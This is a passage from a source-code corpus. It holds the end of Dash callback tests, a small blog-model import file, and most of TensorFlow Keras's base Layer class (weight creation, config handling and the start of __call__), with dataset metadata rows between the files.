dcc.Tab(children=dash_table.DataTable(id="other-table")),
]
)
]
)
@app.callback(Output("output", "children"), [Input("btn", "n_clicks")])
def update_out(n_clicks):
if n_clicks is None:
raise PreventUpdate
return "Bye"
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#output", "Hello")
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", "Bye")
assert dash_duo.get_logs() == []
def test_cbsc004_callback_using_unloaded_async_component(dash_duo):
app = dash.Dash()
app.layout = html.Div(
[
dcc.Tabs(
[
dcc.Tab("boo!"),
dcc.Tab(
dash_table.DataTable(
id="table",
columns=[{"id": "a", "name": "A"}],
data=[{"a": "b"}],
)
),
]
),
html.Button("Update Input", id="btn"),
html.Div("Hello", id="output"),
html.Div(id="output2"),
]
)
@app.callback(
Output("output", "children"),
[Input("btn", "n_clicks")],
[State("table", "data")],
)
def update_out(n_clicks, data):
return json.dumps(data) + " - " + str(n_clicks)
@app.callback(
Output("output2", "children"),
[Input("btn", "n_clicks")],
[State("table", "derived_viewport_data")],
)
def update_out2(n_clicks, data):
return json.dumps(data) + " - " + str(n_clicks)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - None')
dash_duo.wait_for_text_to_equal("#output2", "null - None")
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - 1')
dash_duo.wait_for_text_to_equal("#output2", "null - 1")
dash_duo.find_element(".tab:not(.tab--selected)").click()
dash_duo.wait_for_text_to_equal("#table th", "A")
# table props are in state so no change yet
dash_duo.wait_for_text_to_equal("#output2", "null - 1")
# repeat a few times, since one of the failure modes I saw during dev was
# intermittent - but predictably so?
for i in range(2, 10):
expected = '[{"a": "b"}] - ' + str(i)
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#output", expected)
# now derived props are available
dash_duo.wait_for_text_to_equal("#output2", expected)
assert dash_duo.get_logs() == []
def test_cbsc005_children_types(dash_duo):
app = dash.Dash()
app.layout = html.Div([html.Button(id="btn"), html.Div("init", id="out")])
outputs = [
[None, ""],
["a string", "a string"],
[123, "123"],
[123.45, "123.45"],
[[6, 7, 8], "678"],
[["a", "list", "of", "strings"], "alistofstrings"],
[["strings", 2, "numbers"], "strings2numbers"],
[["a string", html.Div("and a div")], "a string\nand a div"],
]
@app.callback(Output("out", "children"), [Input("btn", "n_clicks")])
def set_children(n):
if n is None or n > len(outputs):
return dash.no_update
return outputs[n - 1][0]
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", "init")
for children, text in outputs:
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", text)
def test_cbsc006_array_of_objects(dash_duo):
app = dash.Dash()
app.layout = html.Div(
[html.Button(id="btn"), dcc.Dropdown(id="dd"), html.Div(id="out")]
)
@app.callback(Output("dd", "options"), [Input("btn", "n_clicks")])
def set_options(n):
return [{"label": "opt{}".format(i), "value": i} for i in range(n or 0)]
@app.callback(Output("out", "children"), [Input("dd", "options")])
def set_out(opts):
print(repr(opts))
return len(opts)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", "0")
for i in range(5):
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", str(i + 1))
dash_duo.select_dcc_dropdown("#dd", "opt{}".format(i))
@pytest.mark.parametrize("refresh", [False, True])
def test_cbsc007_parallel_updates(refresh, dash_duo):
# This is a funny case, that seems to mostly happen with dcc.Location
# but in principle could happen in other cases too:
# A callback chain (in this case the initial hydration) is set to update a
# value, but after that callback is queued and before it returns, that value
# is also set explicitly from the front end (in this case Location.pathname,
# which gets set in its componentDidMount during the render process, and
# callbacks are delayed until after rendering is finished because of the
# async table)
# At one point in the wildcard PR #1103, changing from requestQueue to
# pendingCallbacks, calling PreventUpdate in the callback would also skip
# any callbacks that depend on pathname, despite the new front-end-provided
# value.
app = dash.Dash()
app.layout = html.Div(
[
dcc.Location(id="loc", refresh=refresh),
html.Button("Update path", id="btn"),
dash_table.DataTable(id="t", columns=[{"name": "a", "id": "a"}]),
html.Div(id="out"),
]
)
@app.callback(Output("t", "data"), [Input("loc", "pathname")])
def set_data(path):
return [{"a": (path or repr(path)) + ":a"}]
@app.callback(
Output("out", "children"), [Input("loc", "pathname"), Input("t", "data")]
)
def set_out(path, data):
return json.dumps(data) + " - " + (path or repr(path))
@app.callback(Output("loc", "pathname"), [Input("btn", "n_clicks")])
def set_path(n):
if not n:
raise PreventUpdate
return "/{0}".format(n)
dash_duo.start_server(app)
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/:a"}] - /')
dash_duo.find_element("#btn").click()
# the refresh=True case here is testing that we really do get the right
# pathname, not the prevented default value from the layout.
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/1:a"}] - /1')
if not refresh:
dash_duo.find_element("#btn").click()
dash_duo.wait_for_text_to_equal("#out", '[{"a": "/2:a"}] - /2')
| true | true |
f7f37e26a4abbadcdf75458a769e83313a462957 | 315 | py | Python | backend/app/model/__init__.py | bbruceyuan/easy-blog | 742bd8d0c8f3d8af793c4e8f531daad410a46151 | [
"MIT"
] | 1 | 2018-08-01T10:51:54.000Z | 2018-08-01T10:51:54.000Z | backend/app/model/__init__.py | hey-bruce/easy_blog | 742bd8d0c8f3d8af793c4e8f531daad410a46151 | [
"MIT"
] | 1 | 2019-07-20T07:14:25.000Z | 2019-07-20T07:14:25.000Z | backend/app/model/__init__.py | bbruceyuan/easy-blog | 742bd8d0c8f3d8af793c4e8f531daad410a46151 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Created by BBruceyuan on 18-7-5.
from .user import User
from .post import Post
from .tag import Tag, TagUtil
from .category import Category, CategoryUtil
from .comment import Comment
from .tag_post_relation import tag_post_relation
from .category_post_relation import category_post_relation | 31.5 | 58 | 0.822222 |
from .user import User
from .post import Post
from .tag import Tag, TagUtil
from .category import Category, CategoryUtil
from .comment import Comment
from .tag_post_relation import tag_post_relation
from .category_post_relation import category_post_relation | true | true |
f7f37ec2387430bab8e02819fc60b64eedd5bf5a | 109,667 | py | Python | tensorflow/python/keras/engine/base_layer.py | faustomorales/tensorflow | 63b84e3b732f050e53902481fa8cb02791a5d789 | [
"Apache-2.0"
] | 2 | 2020-01-13T11:41:38.000Z | 2020-01-14T16:43:23.000Z | tensorflow/python/keras/engine/base_layer.py | faustomorales/tensorflow | 63b84e3b732f050e53902481fa8cb02791a5d789 | [
"Apache-2.0"
] | 1 | 2022-02-10T00:32:22.000Z | 2022-02-10T00:32:22.000Z | tensorflow/python/keras/engine/base_layer.py | faustomorales/tensorflow | 63b84e3b732f050e53902481fa8cb02791a5d789 | [
"Apache-2.0"
] | 2 | 2020-01-16T12:41:10.000Z | 2020-01-16T12:42:02.000Z | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
# pylint: disable=protected-access
"""Contains the base Layer class, from which all layers inherit."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import functools
import itertools
import threading
import numpy as np
from six.moves import zip # pylint: disable=redefined-builtin
from google.protobuf import json_format
from tensorflow.core.framework import node_def_pb2
from tensorflow.python.autograph.core import ag_ctx
from tensorflow.python.autograph.impl import api as autograph
from tensorflow.python.distribute import distribution_strategy_context as ds_context
from tensorflow.python.eager import context
from tensorflow.python.eager import execute
from tensorflow.python.eager import function
from tensorflow.python.eager import monitoring
from tensorflow.python.framework import auto_control_deps
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import func_graph
from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.framework import tensor_spec
from tensorflow.python.framework import tensor_util
from tensorflow.python.keras import backend
from tensorflow.python.keras import constraints
from tensorflow.python.keras import initializers
from tensorflow.python.keras import regularizers
from tensorflow.python.keras.engine import base_layer_utils
from tensorflow.python.keras.engine import input_spec
from tensorflow.python.keras.engine import node as node_module
from tensorflow.python.keras.mixed_precision.experimental import autocast_variable
from tensorflow.python.keras.mixed_precision.experimental import policy
from tensorflow.python.keras.saving.saved_model import layer_serialization
from tensorflow.python.keras.utils import generic_utils
from tensorflow.python.keras.utils import layer_utils
from tensorflow.python.keras.utils import tf_utils
# A module that only depends on `keras.layers` import these from here.
from tensorflow.python.keras.utils.generic_utils import to_snake_case # pylint: disable=unused-import
from tensorflow.python.keras.utils.tf_utils import is_tensor_or_tensor_list # pylint: disable=unused-import
from tensorflow.python.module import module
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import resource_variable_ops
from tensorflow.python.ops import variables as tf_variables
from tensorflow.python.ops.ragged import ragged_tensor
from tensorflow.python.platform import tf_logging
from tensorflow.python.training.tracking import base as trackable
from tensorflow.python.training.tracking import data_structures
from tensorflow.python.training.tracking import layer_utils as trackable_layer_utils
from tensorflow.python.training.tracking import tracking
from tensorflow.python.util import compat
from tensorflow.python.util import deprecation
from tensorflow.python.util import nest
from tensorflow.python.util import object_identity
from tensorflow.python.util import tf_inspect
from tensorflow.python.util.tf_export import keras_export
from tensorflow.tools.docs import doc_controls
# Prefix that is added to the TF op layer names.
_TF_OP_LAYER_NAME_PREFIX = 'tf_op_layer_'
_keras_layers_gauge = monitoring.BoolGauge('/tensorflow/api/keras/layers',
'keras layers usage', 'method')
_keras_model_gauge = monitoring.BoolGauge(
'/tensorflow/api/keras/premade_models', 'premade keras model usage', 'type')
@keras_export('keras.layers.Layer')
class Layer(module.Module):
"""Base layer class.
This is the class from which all layers inherit.
A layer is a class implementing common neural networks operations, such
as convolution, batch norm, etc. These operations require managing weights,
losses, updates, and inter-layer connectivity.
Users will just instantiate a layer and then treat it as a callable.
We recommend that descendants of `Layer` implement the following methods:
* `__init__()`: Save configuration in member variables
* `build()`: Called once from `__call__`, when we know the shapes of inputs
and `dtype`. Should have the calls to `add_weight()`, and then
call the super's `build()` (which sets `self.built = True`, which is
nice in case the user wants to call `build()` manually before the
first `__call__`).
* `call()`: Called in `__call__` after making sure `build()` has been called
once. Should actually perform the logic of applying the layer to the
input tensors (which should be passed in as the first argument).
Arguments:
trainable: Boolean, whether the layer's variables should be trainable.
name: String name of the layer.
dtype: The dtype of the layer's computations and weights (default of
`None` means use `tf.keras.backend.floatx` in TensorFlow 2, or the type
of the first input in TensorFlow 1).
dynamic: Set this to `True` if your layer should only be run eagerly, and
should not be used to generate a static computation graph.
This would be the case for a Tree-RNN or a recursive network,
for example, or generally for any layer that manipulates tensors
using Python control flow. If `False`, we assume that the layer can
safely be used to generate a static computation graph.
Attributes (read-only properties):
name: The name of the layer (string).
dtype: The dtype of the layer's computations and weights. If mixed
precision is used with a `tf.keras.mixed_precision.experimental.Policy`,
this is instead just the dtype of the layer's weights, as the computations
are done in a different dtype.
updates: List of update ops of this layer.
losses: List of losses added by this layer.
trainable_weights: List of variables to be included in backprop.
non_trainable_weights: List of variables that should not be
included in backprop.
weights: The concatenation of the lists trainable_weights and
non_trainable_weights (in this order).
Mutable properties:
trainable: Whether the layer should be trained (boolean).
input_spec: Optional (list of) `InputSpec` object(s) specifying the
constraints on inputs that can be accepted by the layer.
### Dtypes and casting
Each layer has a dtype, which is typically the dtype of the layer's
computations and variables. A layer's dtype can be queried via the
`Layer.dtype` property. The dtype is specified with the `dtype` constructor
argument. In TensorFlow 2, the dtype defaults to `tf.keras.backend.floatx()`
if no dtype is passed. `floatx()` itself defaults to "float32". Additionally,
layers will cast their inputs to the layer's dtype in TensorFlow 2. When mixed
precision is used, layers may have different computation and variable dtypes.
See `tf.keras.mixed_precision.experimental.Policy` for details on layer
dtypes.
"""
# See tf.Module for the usage of this property.
# The key for _obj_reference_counts_dict is a Trackable, which could be a
# variable or layer etc. tf.Module._flatten will fail to flatten the key
# since it is trying to convert Trackable to a string. This attribute can be
# ignored even after the fix of nest lib, since the trackable object should
# already been available as individual attributes. _obj_reference_counts_dict
# just contains a copy of them.
_TF_MODULE_IGNORED_PROPERTIES = frozenset(itertools.chain(
('_obj_reference_counts_dict',),
module.Module._TF_MODULE_IGNORED_PROPERTIES
))
@trackable.no_automatic_dependency_tracking
def __init__(self, trainable=True, name=None, dtype=None, dynamic=False,
**kwargs):
# These properties should be set by the user via keyword arguments.
# note that 'dtype', 'input_shape' and 'batch_input_shape'
# are only applicable to input layers: do not pass these keywords
# to non-input layers.
allowed_kwargs = {
'input_shape',
'batch_input_shape',
'batch_size',
'weights',
'activity_regularizer',
'autocast'
}
# Validate optional keyword arguments.
generic_utils.validate_kwargs(kwargs, allowed_kwargs)
# Mutable properties
# Indicates whether the layer's weights are updated during training
# and whether the layer's updates are run during training.
self._trainable = trainable
# A stateful layer is a layer whose updates are run during inference too,
# for instance stateful RNNs.
self._stateful = False
# Indicates whether `build` needs to be called upon layer call, to create
# the layer's weights.
self.built = False
# Provides information about which inputs are compatible with the layer.
self.input_spec = None
self.supports_masking = False
self._supports_ragged_inputs = False
self._init_set_name(name)
self._activity_regularizer = kwargs.pop('activity_regularizer', None)
self._maybe_create_attribute('_trainable_weights', [])
self._maybe_create_attribute('_non_trainable_weights', [])
self._updates = []
# Object to store all thread local layer properties.
self._thread_local = threading.local()
# A list of zero-argument lambdas which return Tensors, used for variable
# regularizers.
self._callable_losses = []
# A list of symbolic Tensors containing activity regularizers and losses
# manually added through `add_loss` in graph-building mode.
self._losses = []
# A list of metric instances corresponding to the symbolic metric tensors
# added using the `add_metric` API.
self._metrics = []
self._set_dtype_policy(dtype)
# Boolean indicating whether the layer automatically casts its inputs to the
# layer's compute_dtype.
self._autocast = kwargs.get('autocast',
base_layer_utils.v2_dtype_behavior_enabled())
# Dependencies tracked via attribute assignment.
self._maybe_create_attribute('_layers', [])
# These lists will be filled via successive calls
# to self._add_inbound_node().
self._inbound_nodes = []
self._outbound_nodes = []
self._init_call_fn_args()
# Whether the `call` method can be used to build a TF graph without issues.
self._dynamic = dynamic
# Manage input shape information if passed.
if 'input_shape' in kwargs or 'batch_input_shape' in kwargs:
# In this case we will later create an input layer
# to insert before the current layer
if 'batch_input_shape' in kwargs:
batch_input_shape = tuple(kwargs['batch_input_shape'])
elif 'input_shape' in kwargs:
if 'batch_size' in kwargs:
batch_size = kwargs['batch_size']
else:
batch_size = None
batch_input_shape = (batch_size,) + tuple(kwargs['input_shape'])
self._batch_input_shape = batch_input_shape
# Manage initial weight values if passed.
if 'weights' in kwargs:
self._initial_weights = kwargs['weights']
else:
self._initial_weights = None
def build(self, input_shape):
"""Creates the variables of the layer (optional, for subclass implementers).
This is a method that implementers of subclasses of `Layer` or `Model`
can override if they need a state-creation step in-between
layer instantiation and layer call.
This is typically used to create the weights of `Layer` subclasses.
Arguments:
input_shape: Instance of `TensorShape`, or list of instances of
`TensorShape` if the layer expects a list of inputs
(one instance per input).
"""
self.built = True
@doc_controls.for_subclass_implementers
def call(self, inputs, **kwargs): # pylint: disable=unused-argument
"""This is where the layer's logic lives.
Arguments:
inputs: Input tensor, or list/tuple of input tensors.
**kwargs: Additional keyword arguments.
Returns:
A tensor or list/tuple of tensors.
"""
return inputs
@doc_controls.for_subclass_implementers
def _add_trackable(self, trackable_object, trainable):
"""Adds a Trackable object to this layer's state.
Arguments:
trackable_object: The tf.tracking.Trackable object to add.
trainable: Boolean, whether the variable should be part of the layer's
"trainable_variables" (e.g. variables, biases) or
"non_trainable_variables" (e.g. BatchNorm mean and variance).
Returns:
The TrackableWeightHandler used to track this object.
"""
handler = base_layer_utils.TrackableWeightHandler(trackable_object)
if trainable:
self._trainable_weights.append(handler)
else:
self._non_trainable_weights.append(handler)
return handler
@doc_controls.for_subclass_implementers
def add_weight(self,
name=None,
shape=None,
dtype=None,
initializer=None,
regularizer=None,
trainable=None,
constraint=None,
partitioner=None,
use_resource=None,
synchronization=tf_variables.VariableSynchronization.AUTO,
aggregation=tf_variables.VariableAggregation.NONE,
**kwargs):
"""Adds a new variable to the layer.
Arguments:
name: Variable name.
shape: Variable shape. Defaults to scalar if unspecified.
dtype: The type of the variable. Defaults to `self.dtype` or `float32`.
initializer: Initializer instance (callable).
regularizer: Regularizer instance (callable).
trainable: Boolean, whether the variable should be part of the layer's
"trainable_variables" (e.g. variables, biases)
or "non_trainable_variables" (e.g. BatchNorm mean and variance).
Note that `trainable` cannot be `True` if `synchronization`
is set to `ON_READ`.
constraint: Constraint instance (callable).
partitioner: Partitioner to be passed to the `Trackable` API.
use_resource: Whether to use `ResourceVariable`.
synchronization: Indicates when a distributed a variable will be
aggregated. Accepted values are constants defined in the class
`tf.VariableSynchronization`. By default the synchronization is set to
`AUTO` and the current `DistributionStrategy` chooses
when to synchronize. If `synchronization` is set to `ON_READ`,
`trainable` must not be set to `True`.
aggregation: Indicates how a distributed variable will be aggregated.
Accepted values are constants defined in the class
`tf.VariableAggregation`.
**kwargs: Additional keyword arguments. Accepted values are `getter`,
`collections`, `experimental_autocast` and `caching_device`.
Returns:
The created variable. Usually either a `Variable` or `ResourceVariable`
instance. If `partitioner` is not `None`, a `PartitionedVariable`
instance is returned.
Raises:
RuntimeError: If called with partitioned variable regularization and
eager execution is enabled.
ValueError: When giving unsupported dtype and no initializer or when
trainable has been set to True with synchronization set as `ON_READ`.
"""
if shape is None:
shape = ()
# Validate optional keyword arguments.
for kwarg in kwargs:
if kwarg not in ['getter', 'collections', 'experimental_autocast',
'caching_device']:
raise TypeError('Unknown keyword argument:', kwarg)
getter = kwargs.pop('getter', base_layer_utils.make_variable)
collections_arg = kwargs.pop('collections', None)
# 'experimental_autocast' can be set to False by the caller to indicate an
# AutoCastVariable should never be created.
autocast = kwargs.pop('experimental_autocast', True)
# See the docstring for tf.Variable about the details for caching_device.
caching_device = kwargs.pop('caching_device', None)
if dtype is None:
dtype = self.dtype or backend.floatx()
dtype = dtypes.as_dtype(dtype)
if self._dtype_policy.variable_dtype is None:
# The policy is "infer", so we infer the policy from the variable dtype.
self._dtype_policy = policy.Policy(dtype.base_dtype.name)
initializer = initializers.get(initializer)
regularizer = regularizers.get(regularizer)
constraint = constraints.get(constraint)
if synchronization == tf_variables.VariableSynchronization.ON_READ:
if trainable:
raise ValueError(
'Synchronization value can be set to '
'VariableSynchronization.ON_READ only for non-trainable variables. '
'You have specified trainable=True and '
'synchronization=VariableSynchronization.ON_READ.')
else:
# Set trainable to be false when variable is to be synced on read.
trainable = False
elif trainable is None:
trainable = True
# Initialize variable when no initializer provided
if initializer is None:
# If dtype is DT_FLOAT, provide a uniform unit scaling initializer
if dtype.is_floating:
initializer = initializers.glorot_uniform()
# If dtype is DT_INT/DT_UINT, provide a default value `zero`
# If dtype is DT_BOOL, provide a default value `FALSE`
elif dtype.is_integer or dtype.is_unsigned or dtype.is_bool:
initializer = initializers.zeros()
# NOTES:Do we need to support for handling DT_STRING and DT_COMPLEX here?
else:
raise ValueError('An initializer for variable %s of type %s is required'
' for layer %s' % (name, dtype.base_dtype, self.name))
if (autocast and self._dtype_policy.should_cast_variables and
dtype.is_floating):
# Wrap 'getter' with a version that returns an AutoCastVariable.
old_getter = getter
def getter(*args, **kwargs): # pylint: disable=function-redefined
variable = old_getter(*args, **kwargs)
return autocast_variable.create_autocast_variable(variable)
# Also the caching_device does not work with the mixed precision API,
# disable it if it is specified.
# TODO(b/142020079): Reenable it once the bug is fixed.
if caching_device is not None:
tf_logging.warn('`caching_device` does not work with mixed precision '
'API. Ignoring user specified `caching_device`.')
caching_device = None
variable = self._add_variable_with_custom_getter(
name=name,
shape=shape,
# TODO(allenl): a `make_variable` equivalent should be added as a
# `Trackable` method.
getter=getter,
# Manage errors in Layer rather than Trackable.
overwrite=True,
initializer=initializer,
dtype=dtype,
constraint=constraint,
trainable=trainable,
partitioner=partitioner,
use_resource=use_resource,
collections=collections_arg,
synchronization=synchronization,
aggregation=aggregation,
caching_device=caching_device)
if regularizer is not None:
# TODO(fchollet): in the future, this should be handled at the
# level of variable creation, and weight regularization losses
# should be variable attributes.
name_in_scope = variable.name[:variable.name.find(':')]
self._handle_weight_regularization(name_in_scope,
variable,
regularizer)
if isinstance(variable, tf_variables.PartitionedVariable):
for v in variable:
backend.track_variable(v)
if trainable:
self._trainable_weights.append(v)
else:
self._non_trainable_weights.append(v)
else:
backend.track_variable(variable)
if trainable:
self._trainable_weights.append(variable)
else:
self._non_trainable_weights.append(variable)
return variable
@base_layer_utils.default
def get_config(self):
"""Returns the config of the layer.
A layer config is a Python dictionary (serializable)
containing the configuration of a layer.
The same layer can be reinstantiated later
(without its trained weights) from this configuration.
The config of a layer does not include connectivity
information, nor the layer class name. These are handled
by `Network` (one layer of abstraction above).
Returns:
Python dictionary.
"""
all_args = tf_inspect.getfullargspec(self.__init__).args
config = {'name': self.name, 'trainable': self.trainable}
if hasattr(self, '_batch_input_shape'):
config['batch_input_shape'] = self._batch_input_shape
config['dtype'] = policy.serialize(self._dtype_policy)
if hasattr(self, 'dynamic'):
# Only include `dynamic` in the `config` if it is `True`
if self.dynamic:
config['dynamic'] = self.dynamic
elif 'dynamic' in all_args:
all_args.remove('dynamic')
expected_args = config.keys()
# Finds all arguments in the `__init__` that are not in the config:
extra_args = [arg for arg in all_args if arg not in expected_args]
# Check that either the only argument in the `__init__` is `self`,
# or that `get_config` has been overridden:
if len(extra_args) > 1 and hasattr(self.get_config, '_is_default'):
raise NotImplementedError('Layers with arguments in `__init__` must '
'override `get_config`.')
return config
@classmethod
def from_config(cls, config):
"""Creates a layer from its config.
This method is the reverse of `get_config`,
capable of instantiating the same layer from the config
dictionary. It does not handle layer connectivity
(handled by Network), nor weights (handled by `set_weights`).
Arguments:
config: A Python dictionary, typically the
output of get_config.
Returns:
A layer instance.
"""
return cls(**config)
def compute_output_shape(self, input_shape):
"""Computes the output shape of the layer.
If the layer has not been built, this method will call `build` on the
layer. This assumes that the layer will later be used with inputs that
match the input shape provided here.
Arguments:
input_shape: Shape tuple (tuple of integers)
or list of shape tuples (one per output tensor of the layer).
Shape tuples can include None for free dimensions,
instead of an integer.
Returns:
An input shape tuple.
"""
if context.executing_eagerly():
# In this case we build the model first in order to do shape inference.
# This is acceptable because the framework only calls
# `compute_output_shape` on shape values that the layer would later be
# built for. It would however cause issues in case a user attempts to
# use `compute_output_shape` manually with shapes that are incompatible
# with the shape the Layer will be called on (these users will have to
# implement `compute_output_shape` themselves).
self._maybe_build(input_shape)
with context.graph_mode():
graph = func_graph.FuncGraph('graph')
with graph.as_default():
input_shape = tf_utils.convert_shapes(input_shape, to_tuples=False)
inputs = nest.map_structure(
base_layer_utils.generate_placeholders_from_shape, input_shape)
try:
outputs = self(inputs, training=False)
except TypeError:
raise NotImplementedError('We could not automatically infer '
'the static shape of the layer\'s output.'
' Please implement the '
'`compute_output_shape` method on your '
'layer (%s).' % self.__class__.__name__)
return nest.map_structure(lambda t: t.shape, outputs)
raise NotImplementedError
@doc_controls.for_subclass_implementers
def compute_output_signature(self, input_signature):
"""Compute the output tensor signature of the layer based on the inputs.
Unlike a TensorShape object, a TensorSpec object contains both shape
and dtype information for a tensor. This method allows layers to provide
output dtype information if it is different from the input dtype.
For any layer that doesn't implement this function,
the framework will fall back to use `compute_output_shape`, and will
assume that the output dtype matches the input dtype.
Args:
input_signature: Single TensorSpec or nested structure of TensorSpec
objects, describing a candidate input for the layer.
Returns:
Single TensorSpec or nested structure of TensorSpec objects, describing
how the layer would transform the provided input.
Raises:
TypeError: If input_signature contains a non-TensorSpec object.
"""
def check_type_return_shape(s):
if not isinstance(s, tensor_spec.TensorSpec):
raise TypeError(
'Only TensorSpec signature types are supported, '
'but saw signature signature entry: {}.'.format(s))
return s.shape
input_shape = nest.map_structure(check_type_return_shape, input_signature)
output_shape = self.compute_output_shape(input_shape)
dtype = self._compute_dtype
if dtype is None:
input_dtypes = [s.dtype for s in nest.flatten(input_signature)]
# Default behavior when self.dtype is None, is to use the first input's
# dtype.
dtype = input_dtypes[0]
return nest.map_structure(
lambda s: tensor_spec.TensorSpec(dtype=dtype, shape=s),
output_shape)
@base_layer_utils.default
def compute_mask(self, inputs, mask=None): # pylint: disable=unused-argument
"""Computes an output mask tensor.
Arguments:
inputs: Tensor or list of tensors.
mask: Tensor or list of tensors.
Returns:
None or a tensor (or list of tensors,
one per output tensor of the layer).
"""
if not self.supports_masking:
if any(m is not None for m in nest.flatten(mask)):
raise TypeError('Layer ' + self.name + ' does not support masking, '
'but was passed an input_mask: ' + str(mask))
# masking not explicitly supported: return None as mask.
return None
# if masking is explicitly supported, by default
# carry over the input mask
return mask
def __call__(self, inputs, *args, **kwargs):
"""Wraps `call`, applying pre- and post-processing steps.
Arguments:
inputs: input tensor(s).
*args: additional positional arguments to be passed to `self.call`.
**kwargs: additional keyword arguments to be passed to `self.call`.
Returns:
Output tensor(s).
Note:
- The following optional keyword arguments are reserved for specific uses:
* `training`: Boolean scalar tensor of Python boolean indicating
whether the `call` is meant for training or inference.
* `mask`: Boolean input mask.
- If the layer's `call` method takes a `mask` argument (as some Keras
layers do), its default value will be set to the mask generated
for `inputs` by the previous layer (if `input` did come from
a layer that generated a corresponding mask, i.e. if it came from
a Keras layer with masking support.
Raises:
ValueError: if the layer's `call` method returns None (an invalid value).
"""
call_context = base_layer_utils.call_context()
input_list = nest.flatten(inputs)
# We will attempt to build a TF graph if & only if all inputs are symbolic.
# This is always the case in graph mode. It can also be the case in eager
# mode when all inputs can be traced back to `keras.Input()` (when building
# models using the functional API).
build_graph = tf_utils.are_all_symbolic_tensors(input_list)
# Accept NumPy and scalar inputs by converting to Tensors.
if any(isinstance(x, (np.ndarray, float, int)) for x in input_list):
def _convert_non_tensor(x):
# Don't call `ops.convert_to_tensor` on all `inputs` because
# `SparseTensors` can't be converted to `Tensor`.
if isinstance(x, (np.ndarray, float, int)):
return ops.convert_to_tensor(x)
return x
inputs = nest.map_structure(_convert_non_tensor, inputs)
input_list = nest.flatten(inputs)
# Handle `mask` propagation from previous layer to current layer. Masks can
# be propagated explicitly via the `mask` argument, or implicitly via
# setting the `_keras_mask` attribute on the inputs to a Layer. Masks passed
# explicitly take priority.
mask_arg_passed_by_framework = False
input_masks = self._collect_input_masks(inputs, args, kwargs)
if (self._expects_mask_arg and input_masks is not None and
not self._call_arg_was_passed('mask', args, kwargs)):
mask_arg_passed_by_framework = True
kwargs['mask'] = input_masks
# If `training` argument was not explicitly passed, propagate `training`
# value from this layer's calling layer.
training_arg_passed_by_framework = False
# Priority 1: `training` was explicitly passed.
if self._call_arg_was_passed('training', args, kwargs):
training_value = self._get_call_arg_value('training', args, kwargs)
if not self._expects_training_arg:
kwargs.pop('training')
else:
training_value = None
# Priority 2: `training` was passed to a parent layer.
if call_context.training is not None:
training_value = call_context.training
# Priority 3a: `learning_phase()` has been set.
elif backend.global_learning_phase_is_set():
training_value = backend.learning_phase()
# Priority 3b: Pass the `learning_phase()` if in the Keras FuncGraph.
elif build_graph:
with backend.get_graph().as_default():
if base_layer_utils.is_in_keras_graph():
training_value = backend.learning_phase()
if self._expects_training_arg and training_value is not None:
# Force the training_value to be bool type which matches to the contract
# for layer/model call args.
if tensor_util.is_tensor(training_value):
training_value = math_ops.cast(training_value, dtypes.bool)
else:
training_value = bool(training_value)
kwargs['training'] = training_value
training_arg_passed_by_framework = True
# Only create Keras history if at least one tensor originates from a
# `keras.Input`. Otherwise this Layer may be being used outside the Keras
# framework.
if build_graph and base_layer_utils.needs_keras_history(inputs):
base_layer_utils.create_keras_history(inputs)
# Clear eager losses on top level model call.
# We are clearing the losses only on the top level model call and not on
# every layer/model call because layer/model may be reused.
if (base_layer_utils.is_in_eager_or_tf_function() and
not call_context.in_call):
self._clear_losses()
with call_context.enter(self, inputs, build_graph, training_value):
# Check input assumptions set after layer building, e.g. input shape.
if build_graph:
# Symbolic execution on symbolic tensors. We will attempt to build
# the corresponding TF subgraph inside `backend.get_graph()`
# TODO(reedwm): We should assert input compatibility after the inputs
# are casted, not before.
input_spec.assert_input_compatibility(self.input_spec, inputs,
self.name)
if (any(isinstance(x, ragged_tensor.RaggedTensor) for x in input_list)
and self._supports_ragged_inputs is False): # pylint: disable=g-bool-id-comparison
raise ValueError('Layer %s does not support RaggedTensors as input. '
'Inputs received: %s. You can try converting your '
'input to an uniform tensor.' % (self.name, inputs))
graph = backend.get_graph()
with graph.as_default(), backend.name_scope(self._name_scope()):
# Build layer if applicable (if the `build` method has been
# overridden).
self._maybe_build(inputs)
cast_inputs = self._maybe_cast_inputs(inputs)
# Wrapping `call` function in autograph to allow for dynamic control
# flow and control dependencies in call. We are limiting this to
# subclassed layers as autograph is strictly needed only for
# subclassed layers and models.
# tf_convert will respect the value of autograph setting in the
# enclosing tf.function, if any.
if (base_layer_utils.is_subclassed(self) and
not base_layer_utils.from_saved_model(self)):
call_fn = autograph.tf_convert(
self.call, ag_ctx.control_status_ctx())
else:
call_fn = self.call
if not self.dynamic:
try:
with base_layer_utils.autocast_context_manager(
self._compute_dtype):
# Add auto_control_deps in V2 when they are not already added by
# a `tf.function`.
if (ops.executing_eagerly_outside_functions() and
not base_layer_utils.is_in_eager_or_tf_function()):
with auto_control_deps.AutomaticControlDependencies() as acd:
outputs = call_fn(cast_inputs, *args, **kwargs)
# Wrap Tensors in `outputs` in `tf.identity` to avoid
# circular dependencies.
outputs = base_layer_utils.mark_as_return(outputs, acd)
else:
